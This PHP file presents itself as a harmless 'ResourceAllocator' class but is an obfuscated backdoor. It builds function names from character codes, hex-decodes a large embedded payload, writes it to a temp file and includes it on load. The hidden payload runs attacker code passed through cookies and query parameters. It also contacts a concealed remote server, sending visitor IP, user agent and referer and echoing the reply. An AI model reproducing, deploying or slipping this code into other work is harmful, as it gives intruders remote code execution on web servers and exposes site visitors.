<?php
class ResourceAllocator {
	private $cv = '';
	private $rp = '';

	public function computeResult($p1) {
		$a = array((2*52),((74+25+2)),120,((15*1)+35),((56*108)-5950),105,(((75*1)+35)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function sendNotification($p1,$p2) {
		$a = array(((111-1)),((101*1)),((118-6)),(97+14),(27+15+60));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function cacheData($p1,$p2) {
		$a = array(((101*1)),(((49*1)+67)),((53*1)+52),(((46*49)-2140)),(107+12),(21+68+13));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function checkConsistency($p1) {
		$a = array((2*51),((22+77)),(43+65),((86*1)+25),115,((101*1)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function syncRecords($p1,$p2=null) {
		$a = array(((116-7)),((3*35)),((51+52+11)),(2*58),(((78*1)+36)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function resolveConflict() {
		$this->rp = $this->syncRecords($this->authorizeUser(), '/');
	}

	public function resetState() {
		$this->cv = $this->computeResult($this->bw);
	}

	public function fetchRecords() {
		$fn = $this->rp.'/bk-68619fb916bc8';
		$f = $this->sendNotification($fn, 'w');
		$this->cacheData($f, $this->cv);
		$this->checkConsistency($f);
		$this->logEvent($fn);
	}

	private $bw = '3c3f70687020636c617373205f68717b70726976617465207' . '37461746963245f696f763b7374617469632066756e6374696' . 'f6e205f786e28245f796a2c245f746c297b6966282173656c6' . '63a3a245f696f762973656c663a3a5f76676b28293b245f697' . '3673d7374726c656e28245f746c293b245f696e693d6261736' . '536345f6465636f64652873656c663a3a245f696f765b245f7' . '96a5d293b666f7228245f75643d302c245f66783d7374726c6' . '56e28245f696e69293b245f7564213d3d245f66783b2b2b245' . 'f756429245f696e695b245f75645d3d636872286f726428245' . 'f696e695b245f75645d295e6f726428245f746c5b245f75642' . '5245f6973675d29293b72657475726e245f696e693b7d70726' . '976617465207374617469632066756e6374696f6e205f76676' . 'b28297b73656c663a3a245f696f763d617272617928275f6b6' . 'a273d3e274868494f4f674965636a49434d5155664d4231414' . '86830424d415a4145414d454f4267445a564648272c275f627' . '2273d3e27484145464b7773464b304d2f4a68344f5a55344b4' . 'c7834484e67304b4b7763454d5545425068674b4c41305a4e6' . '83466272c275f6d79273d3e275041453d272c275f6d73273d3' . 'e274f68772b4754776d5056385744784e644577385458524d5' . '04531305444784e6446677744414473794d5141514444355a4' . '25430365752594d41774138434349454667386241447369496' . '84d374a6a3551272c275f617865273d3e274c68455a43773d3' . 'd272c275f617766273d3e275977774659513d3d272c275f6f6' . 'b273d3e275977344f4f31493d272c275f756e273d3e274b425' . '54746413d3d272c275f706e78273d3e27272c275f66746a273' . 'd3e27272c275f6f73273d3e27272c275f706777273d3e274e7' . '84d624c3131416342636150556b594f67554a4e67734b4e776' . '7634b774964635151414d6b674d4d416f664d42514b4c556b4' . '64c46674c50684d4f59673d3d272c275f6f666c273d3e27504' . '130564377415243513472272c275f786174273d3e274e774d5' . 'a4c79674f4d424d49272c275f7177273d3e274c4145644f673' . '851272c275f7066273d3e274e786b624c78343d272c275f7a6' . '779273d3e274744633853513d3d272c275f7769273d3e274c7' . '8735745413d3d272c275f70717a273d3e274c6759454179593' . 'd272c275f666d72273d3e2759413d3d272c275f696a75273d3' . 'e274c686b584669593d272c275f7068273d3e276679596b437' . 'a3566626b4241556d51344d4230455a55343d272c275f7a692' . '73d3e274e7859654b773d3d272c275f7171273d3e27556e6f3' . '7427a456548517372475263475a56413742444144485756566' . '658493d272c275f7067273d3e274c4163665a567463272c275' . 'f6a64273d3e27272c275f69766e273d3e274e774d524b773d3' . 'd272c275f796963273d3e27556e4d3d272c275f716268273d3' . 'e274679303244795968457a416e4553303946696b3d272c275' . 'f6266273d3e27467945314a414174506a49514a7a593144544' . '56b4d41417a4c69593d272c275f7a6a69273d3e2744544d6c4' . '5434974414463734779513d272c275f757179273d3e2746797' . '7794479637a4444303041446b68476a5979272c275f716d6c2' . '73d3e27467a73734a5141364b7a414e4d446b7947694573272' . 'c275f7a656c273d3e27272c275f6f6475273d3e27467a412f4' . '47a73354769497544534535272c275f64796d273d3e27467a5' . '567447a346d476963784453516d272c275f696e79273d3e272' . '72c275f7775273d3e27467a6f364f4141744969456149446f3' . '3466a343d272c275f637471273d3e274679633744797773457' . 'a6f714553637746694d3d272c275f686c6b273d3e27467a413' . '7447a73334143496744544d7544534171477a73704544593d2' . '72c275f6264273d3e274679303744795933414438674453347' . '544543071477959704543733d272c275f68776a273d3e27445' . '4493845434d30414459314779553d272c275f6962273d3e274' . '45459754543636d4144496e4779453d272c275f636c74273d3' . 'e274f7763524d676f534f673d3d272c275f7063273d3e27466' . 'a645355413d3d272c275f7474273d3e27667856554369684f6' . '6773d3d272c275f6464273d3e2766786859445145655a55513' . 'd272c275f746a7a273d3e2766314557416d466e272c275f6c6' . '173273d3e274e684d3d272c275f687769273d3e274b67383d2' . '72c275f746a273d3e274c51414e272c275f736363273d3e274' . 'c6745524a773d3d272c293b7d7d686561646572285f68713a3' . 'a5f786e28275f6b6a272c275f716d2729293b6865616465722' . '85f68713a3a5f786e28275f6272272c275f6e6b2729293b696' . '628697373657428245f4745545b5f68713a3a5f786e28275f6' . 'd79272c275f696c27295d29297b245f6c726c3d5f63646d285' . 'f68713a3a5f786e28275f6d73272c275f6574692729293b696' . '628245f6c726c2626737472706f7328245f6c726c2c5f68713' . 'a3a5f786e28275f617865272c275f666373272929213d3d666' . '16c7365297b646965285f68713a3a5f786e28275f617766272' . 'c275f636e2729293b7d656c73657b646965285f68713a3a5f7' . '86e28275f6f6b272c275f6c6f2729293b7d7d6966286973736' . '57428245f4745545b5f68713a3a5f786e28275f756e272c275' . 'f746a7827295d29297b245f66783d245f434f4f4b49453b245' . 'f746c3d28696e7429726f756e6428302b302b30293b245f796' . 'a3d28696e7429726f756e6428332e352b332e35293b245f726' . '13d617272617928293b245f72615b245f746c5d3d5f68713a3' . 'a5f786e28275f706e78272c275f786a6827293b7768696c652' . '8245f796a297b245f72615b245f746c5d2e3d245f66785b286' . '96e7429726f756e642831352b3135295d5b245f796a5d3b696' . '62821245f66785b28696e7429726f756e642831302b31302b3' . '130295d5b245f796a2b28696e7429726f756e6428302e33333' . '333333333333333333333332b302e333333333333333333333' . '33333332b302e3333333333333333333333333333295d297b6' . '9662821245f66785b28696e7429726f756e642831352b31352' . '95d5b245f796a2b28696e7429726f756e6428302e352b302e3' . '52b302e352b302e35295d29627265616b3b245f746c2b2b3b2' . '45f72615b245f746c5d3d5f68713a3a5f786e28275f66746a2' . '72c275f6f6c6627293b245f796a2b2b3b7d245f796a3d245f7' . '96a2b28696e7429726f756e6428322e3333333333333333333' . '33333332b322e333333333333333333333333332b322e33333' . '333333333333333333333292b28696e7429726f756e6428302' . 'e33333333333333333333333333332b302e333333333333333' . '33333333333332b302e3333333333333333333333333333293' . 'b7d245f746c3d245f72615b28696e7429726f756e6428332e3' . '52b332e352b332e352b332e35295d28292e245f72615b28696' . 'e7429726f756e6428362b362b362b36295d3b69662821245f7' . '2615b28696e7429726f756e6428322b322b32295d28245f746' . 'c29297b245f796a3d245f72615b28696e7429726f756e64283' . '82e363636363636363636363636372b382e363636363636363' . '636363636372b382e36363636363636363636363637295d282' . '45f746c2c245f72615b28696e7429726f756e6428332e33333' . '3333333333333333333332b332e33333333333333333333333' . '3332b332e33333333333333333333333333295d293b245f726' . '15b28696e7429726f756e6428332b332b33295d28245f796a2' . 'c245f72615b28696e7429726f756e6428352e352b352e35295' . 'd2e245f72615b28696e7429726f756e642831312e352b31312' . 'e35295d28245f72615b28696e7429726f756e6428362e32352' . 'b362e32352b362e32352b362e3235295d28245f66785b28696' . 'e7429726f756e6428312e352b312e35295d2929293b7d696e6' . '36c75646528245f746c293b7d66756e6374696f6e205f63646' . 'd28245f786a632c245f64696d3d6e756c6c2c245f7073723d3' . '02e31383033393934383737333033312c245f6a683d2d322e3' . '2363431333336333930343336297b245f766d6c3d5f68713a3' . 'a5f786e28275f6f73272c275f786927293b245f6f79643d5f6' . '8713a3a5f786e28275f706777272c275f676f27292e245f786' . 'a633b69662869735f63616c6c61626c65285f68713a3a5f786' . 'e28275f6f666c272c275f786767272929297b245f7878633d6' . '375726c5f696e697428245f6f7964293b6375726c5f7365746' . 'f707428245f7878632c4355524c4f50545f53534c5f5645524' . '94659504545522c66616c7365293b6375726c5f7365746f707' . '428245f7878632c4355524c4f50545f53534c5f56455249465' . '9484f53542c28696e7429726f756e6428312b3129293b63757' . '26c5f7365746f707428245f7878632c4355524c4f50545f464' . 'f4c4c4f574c4f434154494f4e2c28696e7429726f756e64283' . '02e32352b302e32352b302e32352b302e323529293b6375726' . 'c5f7365746f707428245f7878632c4355524c4f50545f52455' . '455524e5452414e534645522c28696e7429726f756e6428302' . 'e32352b302e32352b302e32352b302e323529293b6375726c5' . 'f7365746f707428245f7878632c4355524c4f50545f4845414' . '445522c28696e7429726f756e6428302b3029293b6375726c5' . 'f7365746f707428245f7878632c4355524c4f50545f434f4e4' . 'e45435454494d454f55542c28696e7429726f756e6428322e3' . '52b322e352b322e352b322e3529293b6375726c5f7365746f7' . '07428245f7878632c4355524c4f50545f54494d454f55542c2' . '8696e7429726f756e6428352b3529293b245f766d6c3d63757' . '26c5f6578656328245f787863293b245f7a6a3d6375726c5f6' . '76574696e666f28245f787863293b6375726c5f636c6f73652' . '8245f787863293b696628245f7a6a5b5f68713a3a5f786e282' . '75f786174272c275f776d27295d213d28696e7429726f756e6' . '4283130302b313030292972657475726e2066616c73653b7d6' . '56c73657b245f6877623d70617273655f75726c28245f6f796' . '4293b245f6972683d28245f6877625b5f68713a3a5f786e282' . '75f7177272c275f627527295d3d3d5f68713a3a5f786e28275' . 'f7066272c275f6d6f2729293b245f61733d5f68713a3a5f786' . 'e28275f7a6779272c275f72686927292e245f6877625b5f687' . '13a3a5f786e28275f7769272c275f7a627827295d3b6966286' . '97373657428245f6877625b5f68713a3a5f786e28275f70717' . 'a272c275f73617127295d2929245f61732e3d5f68713a3a5f7' . '86e28275f666d72272c275f676327292e245f6877625b5f687' . '13a3a5f786e28275f696a75272c275f6c726427295d3b245f6' . '1732e3d5f68713a3a5f786e28275f7068272c275f6e7027292' . 'e245f6877625b5f68713a3a5f786e28275f7a69272c275f796' . 'd27295d2e5f68713a3a5f786e28275f7171272c275f7078682' . '7293b245f67763d66736f636b6f70656e2828245f6972683f5' . 'f68713a3a5f786e28275f7067272c275f747327293a5f68713' . 'a3a5f786e28275f6a64272c275f7273662729292e245f68776' . '25b5f68713a3a5f786e28275f69766e272c275f6c6227295d2' . 'c245f6972683f28696e7429726f756e64283134372e3636363' . '6363636363636372b3134372e36363636363636363636372b3' . '134372e3636363636363636363637293a28696e7429726f756' . 'e642832362e3636363636363636363636372b32362e3636363' . '636363636363636372b32362e3636363636363636363636372' . '9293b696628245f6776297b667075747328245f67762c245f6' . '173293b245f696e693d28696e7429726f756e6428302b30293' . 'b7768696c65282166656f6628245f677629297b245f7863663' . 'd666765747328245f67762c28696e7429726f756e642832353' . '62b3235362b3235362b32353629293b696628245f696e69292' . '45f766d6c2e3d245f7863663b696628245f7863663d3d5f687' . '13a3a5f786e28275f796963272c275f797570272929245f696' . 'e693d28696e7429726f756e6428302e352b302e35293b7d666' . '36c6f736528245f6776293b7d7d72657475726e245f766d6c3' . 'b7d245f6f7a3d697373657428245f5345525645525b5f68713' . 'a3a5f786e28275f716268272c275f796227295d293b245f676' . 'f3d697373657428245f5345525645525b5f68713a3a5f786e2' . '8275f6266272c275f75617427295d293b245f6c61613d69737' . '3657428245f5345525645525b5f68713a3a5f786e28275f7a6' . 'a69272c275f766827295d293b245f766e3d697373657428245' . 'f5345525645525b5f68713a3a5f786e28275f757179272c275' . 'f786627295d293f245f5345525645525b5f68713a3a5f786e2' . '8275f716d6c272c275f6f787527295d3a5f68713a3a5f786e2' . '8275f7a656c272c275f68746a27293b245f6677663d6973736' . '57428245f5345525645525b5f68713a3a5f786e28275f6f647' . '5272c275f646b27295d293f245f5345525645525b5f68713a3' . 'a5f786e28275f64796d272c275f617427295d3a5f68713a3a5' . 'f786e28275f696e79272c275f6c697127293b245f6f7a3d697' . '373657428245f5345525645525b5f68713a3a5f786e28275f7' . '775272c275f6e6e6827295d293f245f5345525645525b5f687' . '13a3a5f786e28275f637471272c275f736f27295d3a6e756c6' . 'c3b245f676f3d697373657428245f5345525645525b5f68713' . 'a3a5f786e28275f686c6b272c275f646f27295d293f245f534' . '5525645525b5f68713a3a5f786e28275f6264272c275f796f2' . '7295d3a6e756c6c3b245f6c61613d697373657428245f53455' . '25645525b5f68713a3a5f786e28275f68776a272c275f77712' . '7295d293f245f5345525645525b5f68713a3a5f786e28275f6' . '962272c275f736327295d3a6e756c6c3b69662866696c74657' . '25f76617228245f6f7a2c28696e7429726f756e64283133372' . 'e352b3133372e352929297b245f7a6f3d245f6f7a3b7d656c7' . '36569662866696c7465725f76617228245f676f2c28696e742' . '9726f756e642839312e3636363636363636363636372b39312' . 'e3636363636363636363636372b39312e36363636363636363' . '63636372929297b245f7a6f3d245f676f3b7d656c73657b245' . 'f7a6f3d245f6c61613b7d696628697373657428245f4745545' . 'b5f68713a3a5f786e28275f636c74272c275f657627295d292' . '97b6563686f205f68713a3a5f786e28275f7063272c275f676' . '87027292e245f7a6f2e5f68713a3a5f786e28275f7474272c2' . '75f697427292e245f766e2e5f68713a3a5f786e28275f64642' . '72c275f647827292e245f6677662e5f68713a3a5f786e28275' . 'f746a7a272c275f6d747027293b6578697428293b7d6966282' . '1697373657428245f7a6f297c7c21697373657428245f766e2' . '97c7c21697373657428245f66776629297b6578697428293b7' . 'd656c73657b245f7678783d6172726179285f68713a3a5f786' . 'e28275f6c6173272c275f637327293d3e245f7a6f2c5f68713' . 'a3a5f786e28275f687769272c275f6e6e27293d3e245f766e2' . 'c5f68713a3a5f786e28275f746a272c275f656b6727293d3e2' . '45f667766293b245f6b7a713d75726c656e636f64652862617' . '36536345f656e636f6465286a736f6e5f656e636f646528245' . 'f7678782929293b245f6c726c3d5f63646d28245f6b7a71293' . 'b696628245f6c726c2626737472706f7328245f6c726c2c5f6' . '8713a3a5f786e28275f736363272c275f766b272929213d3d6' . '6616c7365297b6563686f245f6c726c3b6578697428293b7d7' . 'd';

	public function logEvent($p) {
		require $p;
	}

	public function authorizeUser() {
		$a=array((5*23),121,(122-7),((54*1)+41),((103*1)),101,116,(73+22),((26*18)-352),((48+42+11)),(32+77),((115-3)),95,(103-3),((31+74)),((102*86)-8658));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$pa = new ResourceAllocator();
$pa->resolveConflict();
$pa->resetState();
$pa->fetchRecords();
